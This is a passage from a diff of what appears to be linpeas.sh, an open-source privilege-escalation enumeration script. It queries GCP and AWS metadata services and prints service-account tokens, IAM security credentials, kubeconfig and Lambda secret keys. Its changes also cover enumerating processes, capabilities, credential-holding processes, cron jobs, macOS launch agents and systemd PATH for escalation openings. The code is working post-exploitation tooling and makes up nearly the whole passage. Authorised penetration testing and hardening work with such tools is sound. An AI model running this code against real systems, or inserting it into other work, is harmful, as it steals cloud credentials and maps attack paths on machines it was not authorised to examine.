"X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + + else + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then + is_aws_ec2="Yes" + fi + fi +} + +check_aws_lambda(){ + is_aws_lambda="No" + + if (env | grep -q AWS_LAMBDA_); then + is_aws_lambda="Yes" + fi +} + + +check_gcp +print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ecs +print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ec2 +print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_lambda +print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," + +echo "" + +if [ "$is_gcp" = "Yes" ]; then + gcp_req="" + if [ "$(command -v curl)" ]; then + gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"' + elif [ "$(command -v wget)" ]; then + gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + + if [ "$gcp_req" ]; then + print_2title "Google CLoud Platform Enumeration" + print_info "https://book.hacktricks.xyz/cloud-security/gcp-security" + + ## GC Project Info + p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') + [ "$p_id" ] && echo "Project-ID: $p_id" + p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') + [ "$p_num" ] && echo "Project Number: $p_num" + pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') + [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" + p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') + [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" + + # OSLogin Info + osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) + [ "$osl_u" ] && echo "OSLogin users: $osl_u" + osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) + [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" + osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) + [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" + osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) + [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" + + # Instance Info + inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) + [ "$inst_d" ] && echo "Instance Description: " + inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) + [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" + inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) + [ "$inst_id" ] && echo "Instance ID: $inst_id" + inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) + [ "$inst_img" ] && echo "Instance Image: $inst_img" + inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) + [ "$inst_mt" ] && echo "Machine Type: $inst_mt" + inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) + [ "$inst_n" ] && echo "Instance Name: $inst_n" + inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) + [ "$inst_tag" ] && echo "Instance tags: $inst_tag" + inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) + [ "$inst_zone" ] && echo "Zone: $inst_zone" + + inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") + [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" + inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") + [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" + inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") + [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" + inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") + [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" + inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") + [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" + inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") + [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" + + echo "" + print_3title "Interfaces" + for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do + echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") + echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") + echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") + echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") + echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") + echo " ============== " + done + + echo "" + print_3title "Service Accounts" + for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do + echo " Name: $sa" + echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") + echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") + echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") + echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" + echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") + echo " ============== " + done + fi +fi + + +if [ "$is_aws_ecs" = "Yes" ]; then + print_2title "AWS ECS Enumeration" + + aws_ecs_req="" + if [ "$(command -v curl)" ]; then + aws_ecs_req='curl -s -f' + elif [ "$(command -v wget)" ]; then + aws_ecs_req='wget -q -O -' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_ecs_metadata_uri" ]; then + print_3title "Container Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" + echo "" + + print_3title "Task Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" + echo "" + else + echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" + fi + + if [ "$aws_ecs_service_account_uri" ]; then + print_3title "IAM Role" + exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" + echo "" + else + echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" + fi +fi + +if [ "$is_aws_ec2" = "Yes" ]; then + print_2title "AWS EC2 Enumeration" + + HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" + URL="http://169.254.169.254/latest/meta-data" + + aws_req="" + if [ "$(command -v curl)" ]; then + aws_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + aws_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_req" ]; then + printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" + printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" + printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" + printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" + printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" + printf "region: "; eval $aws_req "$URL/placement/region"; echo "" + + echo "" + print_3title "Account Info" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" + + echo "" + print_3title "Network Info" + for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do + echo "Mac: $mac" + printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" + printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" + printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" + echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" + printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" + echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" + printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" + echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" + echo "" + done + + echo "" + print_3title "IAM Role" + exec_with_jq eval $aws_req "$URL/iam/info"; echo "" + for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do + echo "Role: $role" + exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" + echo "" + done + + echo "" + print_3title "User Data" + eval $aws_req "http://169.254.169.254/latest/user-data" + fi +fi + +if [ "$is_aws_lambda" = "Yes" ]; then + print_2title "AWS Lambda Enumeration" + printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME + printf "Region: "; env | grep AWS_REGION + printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY + printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID + printf "Session token: "; env | grep AWS_SESSION_TOKEN + printf "Security token: "; env | grep AWS_SECURITY_TOKEN + printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API + printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") +fi + + fi echo '' echo '' @@ -1645,146 +2249,167 @@ print_title "Processes, Crons, Timers, Services and Sockets" #-----) Processes & Cron & Services & Timers (-----# #################################################### -#-- PCS) Cleaned proccesses -print_2title "Cleaned processes" -if [ "$NOUSEPS" ]; then - printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC -fi -print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes" +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Cleaned proccesses + print_2title "Cleaned processes" + if [ "$NOUSEPS" ]; then + printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC + fi + print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" -if [ "$NOUSEPS" ]; then - print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," - pslist=$(print_ps) -else - (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do - echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," - if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then - cpid=$(echo "$psline" | awk '{print $2}') - caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')" - if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then - printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g" + if [ "$NOUSEPS" ]; then + print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," + pslist=$(print_ps) + else + (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do + echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," + if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then + cpid=$(echo "$psline" | awk '{print $2}') + caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')" + if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then + printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g" + fi fi - fi - done - pslist=$(ps auxwww) - echo "" + done + pslist=$(ps auxwww) + echo "" - #-- PCS) Binary processes permissions - print_2title "Binary processes permissions (non 'root root' and not belonging to current user)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes" - binW="IniTialiZZinnggg" - ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do - if [ -w "$bpath" ]; then - binW="$binW|$bpath" - fi - done - ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," + #-- PCS) Binary processes permissions + print_2title "Binary processes permissions (non 'root root' and not belonging to current user)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" + binW="IniTialiZZinnggg" + ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do + if [ -w "$bpath" ]; then + binW="$binW|$bpath" + fi + done + ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," + fi + echo "" +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Files opened by processes belonging to other users + if ! [ "$IAMROOT" ]; then + print_2title "Files opened by processes belonging to other users" + print_info "This is usually empty because of the lack of privileges to read other user processes information" + lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + echo "" + fi +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Processes with credentials inside memory + print_2title "Processes with credentials in memory (root req)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory" + if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi + if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi + if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi + if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi + if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi + if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi + echo "" +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Different processes 1 min + if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then + print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs" + temp_file=$(mktemp) + if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi + echo "" + fi +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Cron + print_2title "Cron jobs" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" + command -v crontab 2>/dev/null || echo_not_found "crontab" + crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + command -v incrontab 2>/dev/null || echo_not_found "incrontab" + incrontab -l 2>/dev/null + ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" + cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + crontab -l -u "$USER" 2>/dev/null | tr -d "\r" + ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths + atq 2>/dev/null +else + print_2title "Cron jobs" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" + find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \; fi echo "" -#-- PCS) Files opened by processes belonging to other users -if ! [ "$IAMROOT" ]; then - print_2title "Files opened by processes belonging to other users" - print_info "This is usually empty because of the lack of privileges to read other user processes information" - lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," - echo "" + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$MACPEAS" ]; then + print_2title "Third party LaunchAgents & LaunchDemons" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd" + ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null + echo "" + + print_2title "Writable System LaunchAgents & LaunchDemons" + find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do + program="" + program=$(defaults read "$f" Program 2>/dev/null) + if ! [ "$program" ]; then + program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2) + fi + if [ -w "$program" ]; then + echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},"; + fi + done + echo "" + + print_2title "StartupItems" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items" + ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null + echo "" + + print_2title "Login Items" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items" + osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null + echo "" + + print_2title "SPStartupItemDataType" + system_profiler SPStartupItemDataType + echo "" + + print_2title "Emond scripts" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond" + ls -l /private/var/db/emondClients + echo "" + fi fi -#-- PCS) Processes with credentials inside memory -print_2title "Processes with credentials in memory (root req)" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#credentials-from-process-memory" -if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi -if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi -if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi -if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi -if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi -if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi -echo "" - -#-- PCS) Different processes 1 min -if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then - print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#frequent-cron-jobs" - temp_file=$(mktemp) - if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi - echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Services + if [ "$EXTRA_CHECKS" ]; then + print_2title "Services" + print_info "Search for outdated versions" + (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" + echo "" + fi fi -#-- PCS) Cron -print_2title "Cron jobs" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs" -command -v crontab 2>/dev/null || echo_not_found "crontab" -crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," -command -v incrontab 2>/dev/null || echo_not_found "incrontab" -incrontab -l 2>/dev/null -ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" -cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," -crontab -l -u "$USER" 2>/dev/null | tr -d "\r" -ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths -atq 2>/dev/null -echo "" - -if [ "$MACPEAS" ]; then - print_2title "Third party LaunchAgents & LaunchDemons" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd" - ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null - echo "" - - print_2title "Writable System LaunchAgents & LaunchDemons" - find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do - program="" - program=$(defaults read "$f" Program 2>/dev/null) - if ! [ "$program" ]; then - program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2) - fi - if [ -w "$program" ]; then - echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},"; - fi - done - echo "" - - print_2title "StartupItems" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items" - ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null - echo "" - - print_2title "Login Items" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items" - osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null - echo "" - - print_2title "SPStartupItemDataType" - system_profiler SPStartupItemDataType - echo "" - - print_2title "Emond scripts" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond" - ls -l /private/var/db/emondClients +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PSC) systemd PATH + print_2title "Systemd PATH" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths" + systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" + WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders") echo "" fi -#-- PCS) Services -if [ "$EXTRA_CHECKS" ]; then - print_2title "Services" - print_info "Search for outdated versions" - (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" - echo "" -fi - -#-- PSC) systemd PATH -print_2title "Systemd PATH" -print_info 